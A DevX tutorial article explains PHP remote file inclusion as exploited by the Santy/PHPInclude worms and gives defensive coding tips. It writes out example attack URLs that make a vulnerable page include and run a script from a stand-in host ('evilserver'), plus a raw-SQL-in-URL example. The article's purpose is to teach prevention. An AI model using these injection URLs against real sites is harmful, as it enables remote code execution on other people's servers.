devxlogo

Protect Yourself from PHP Worms

Protect Yourself from PHP Worms

n recent months it’s become apparent that every computer system, regardless of operating system or programming language, bears a security risk. All computer software exposes attack surfaces to viruses and worms, and it is only a matter of time before they get attacked. Most recently, the bulk of security attacks have targeted Microsoft Windows and its Internet Information Services (IIS) Web server, but they aren’t unique in their vulnerability; such attacks simply tend to target the most popular systems.

Over the past couple of years, PHP has become an increasingly popular language for Web sites that don’t want to invest in expensive Web server operating system licenses such as Windows 2000 Server or Windows 2003 Server. PHP is a free server-side scripting language, much like ASP, that can run on either Windows or Linux. When combined with a database back end like MySQL (also available in a free incarnation) these two tools make a powerful suite that you can use to build dynamic, data driven Web sites.

Perhaps as a result of its growing popularity, PHP is under attack from virus and worm writers. A recently discovered, major security hole in the language has brought about many attacks upon Web sites built with PHP or tools that have been written in PHP, such as the popular phpBB bulletin board software. It is important to point out that describing something like this as a “hole” sounds critical of the design, but that’s not usually the case. Generally, a security hole in a computer language, application, or platform occurs when someone finds an unforeseen use for a feature. Calling an unforeseen use a design flaw is analogous to insisting that a hammer’s design is flawed because it can be used as a weapon as well as to drive nails.

The feature of PHP that has led to the proliferation of worms such as Santy (now PHPInclude) is that a PHP script can “include” another script. This is very commonly (and properly) used because it allows a single PHP script to contain shared functions. That script is then “included” in other scripts that need access to the shared functions. The script file inc.php (see Listing 1) contains a simple function called addOne, which as its name suggests, adds 1 to the input parameter and returns the answer.

   

The script file page.php (see Listing 2) is an example of a page on your Web server that a client would call, passing in a numeric parameter, which would then have 1 added to it. The first line of Listing 2 contains a line that includes the code from Listing 1, showing how you can make the addOne function available from other pages without copying it every time.

   
 
Figure 1. Page.php in Action: The client passed a value of 7 to the page, which calls included addOne() function and displays the result.

Figure 1 shows an example of page.php in action. Note that the client passed the num parameter in the address line as num=7. As shown in Listing 2, the page.php code calls the included addOne function, which adds 1 to the passed value, and returns the result. The page then writes out the resulting value of 8.

Author’s Note: While this article discusses the “include” keyword, the same issues arise with the “require” keyword, which behaves in an almost identical manner. The difference between these keywords is when the path to the target file can not be resolved, include throws a warning, while require causes a fatal error.

So, Where’s the Security Hole?
The example shown uses the include feature the way it is intended to be used. It’s very useful?in fact, it’s an absolute necessity when building Web sites of more than two or three pages. However its behavior can lead to problems. Look at the following code, which is almost identical to Listing 1, but has an additional line at the top.

   
 
Figure 2. Include Files Execute Code!: Note the “Hello World” in page.php’s response using the altered include file, proving that code outside of function blocks executes in include files.

Save the preceding version as inc.php, and then go back and run page.php again. You will see that not only did the include file get included, but all code that was outside of a function block was executed, resulting in “Hello World” appearing on the page (see Figure 2).

The point to remember here is that when you include an external file using the include keyword, PHP actually executes that file. By itself, this is more of a feature than it is a problem, but when used in conjunction with one more feature of the language in a common programming pattern, you’ll see the problem appear.

Possible Include File Locations
You can instruct PHP to include files from locations other than those relative to the current file path. The preceding example used the code:

   include('inc.php');

Although that example references a file stored in the same directory as the executing script, many Web sites sensibly use an include directory to store common files, so you’d probably write something like

   include('include/inc.php');

However, PHP has an option called URL_fopen_wrappers, which allows you to open remote files via a URL. If this option is enabled (and it is enabled by default) a script such as the following is perfectly valid.

   include('http://someserver.com/somescript.php');

Therefore an evil script such as that at (for example) http://evilservername/evilscript.php could conceivably be included and executed on your Web server. Remember how you saw earlier that code in a script would execute upon being included? The evil script doesn’t need to have functions, it could contain a block of code that could write itself to your machine, rewrite some of your files, plunder your data, or do anything that you can imagine, because once included, it runs on your machine with the same permissions available to your PHP engine.

How Does an Evil Script Execute?
From what you’ve seen so far, it’s probably hard to see how anyone could get an evil script to execute, but it turns out that if you use a common programming trick, you’re wide open to attack. That programming trick is “parameterized” or “variable” includes. The include keyword might make you think of the #include directive within C or C++, which is a compiler directive that always appears at the top of the program, but the PHP include command isn’t like that at all. It’s actually very flexible, and can be used in conjunction with variables.

For example, you can write perfectly valid code such as:

   $test='inc.php';   include($test);

People use such code to include or exclude scripts depending on other program conditions. Now, if your program has many scripts that can be included, but you only want to include one at a time, you might use an HTTP GET parameter to specify which script you want to use. For example, if you have 10 scripts named inc1.php through inc10.php, all of which contain an addOne function, but do different things, you could write something like:

   http://servername/page.php?num=1&inc=inc1.php

Then, in your page code you would have something like the following code.

   

The preceding code sets the value of the $inc variable to the value of the GET parameter, causing the script to include (and execute) the inc1.php file. Because PHP will load scripts from an external URL, someone could very easily inject an evil script to run on the server simply by typing the following URL into their browser.

   http://servername/page.php?num=1&inc=         http://evilserver/evilscript.php

How Can I Protect My Code
First, if your Web site uses any applications that are written in PHP, such as phpBB, you need to make sure that you are using a version that is “fixed” to disallow this type of injection. In the case of phpBB, the vulnerable versions are those prior to version 2.0.11. For other applications, check with the developers or vendors of the application.

To protect your own codebase, you should consider the following coding tips.

  • If you don’t want to include or require files from an external URL, turn off the URL_fopen_wrappers option.
  • Always give your include files the .php extension. Some programmers like to give them an .inc extension instead, but most Web servers will not execute .inc files, they return the contents instead. Therefore, any malicious users who knew the URL of your include file and typed it into their browser’s address bar would get the full source code of the include file. As people commonly store such things as database login passwords in include files, you could have a bit of a problem!
  • Never directly include a parameterized page. Check it against a list of known pages first. For example, you could change the previous code fragment to something safer, such as:
   $pages = array('inc1.php','inc2.php','inc3.php');    if( in_array($inc, $pages) )    {        include($inc);    {    else    {       die("Nice Try.");    }
  • Be very careful using the eval() function. Eval evaluates a string as if it were code, and outputs the results to the browser. If you send the value of a parameter passed to a page directly to eval(), a script injection could occur. Don’t ever do that! Check parameter values first.
  • Make sure to set the REGISTER_GLOBALS setting in your php.ini file to OFF. When this is set to ON you have a risk of someone passing the value of a variable into your page by naming that variable in the browser’s address bar. For example, suppose you have code in your pages such as:
   include($incfile);

If you have carelessly forgotten to define $incfile¸ and REGISTER_GLOBALS is set to ON, then someone could call your page like this:

   http://yourserver.com/yourpage.php?incfile=      http://evilserver.com/evilscript.php
  • Never pass parameters directly from a URL to a SQL query if you are using data. Always sanitize the parameters first, or use the parameters to build a query. For example, don’t write code like this:
   http://yourserver.com/yourpage.php?query='select *       from accounts'

Instead, define the SQL code on the server. You can still control it from the URL by passing a defined parameter, such as:

   http://yourserver.com/yourpage.php?query=accounts

When your code receives this URL, you can do something like the following:

   if($query=="accounts")      $sql="Select * from accounts";   else      $sql="Select * from whatever";

Overall, this exploit provides a clear example of how subtle a security hole can be. When a good feature of a language such as PHP is misused, and exposed to further misuse through poor input parameter sanitation, security problems can arise. In this case, the root cause isn’t a bug in the language or any problem with the language per se; instead, it’s related to the way people use the language. The recent Santy/PHPInclude worms are able to exploit mistakes such as those described in this article to propagate themselves and destroy Web sites. They find vulnerable pages using simple Google (and other search engine) searches and propagate similarly. By cleaning up your pages to use the techniques and background discussed in this article, you can now go forth and be sure that your Web site will not suffer the same fate, and will be protected from this hole. However, you need to be vigilant, to understand your code and anticipate how the features of the platform that you are using could be used differently so you can protect yourself, your Web site, and your data from attacks.

devxblackblue

About Our Editorial Process

At DevX, we’re dedicated to tech entrepreneurship. Our team closely follows industry shifts, new products, AI breakthroughs, technology trends, and funding announcements. Articles undergo thorough editing to ensure accuracy and clarity, reflecting DevX’s style and supporting entrepreneurs in the tech sphere.

See our full editorial policy.

About Our Journalist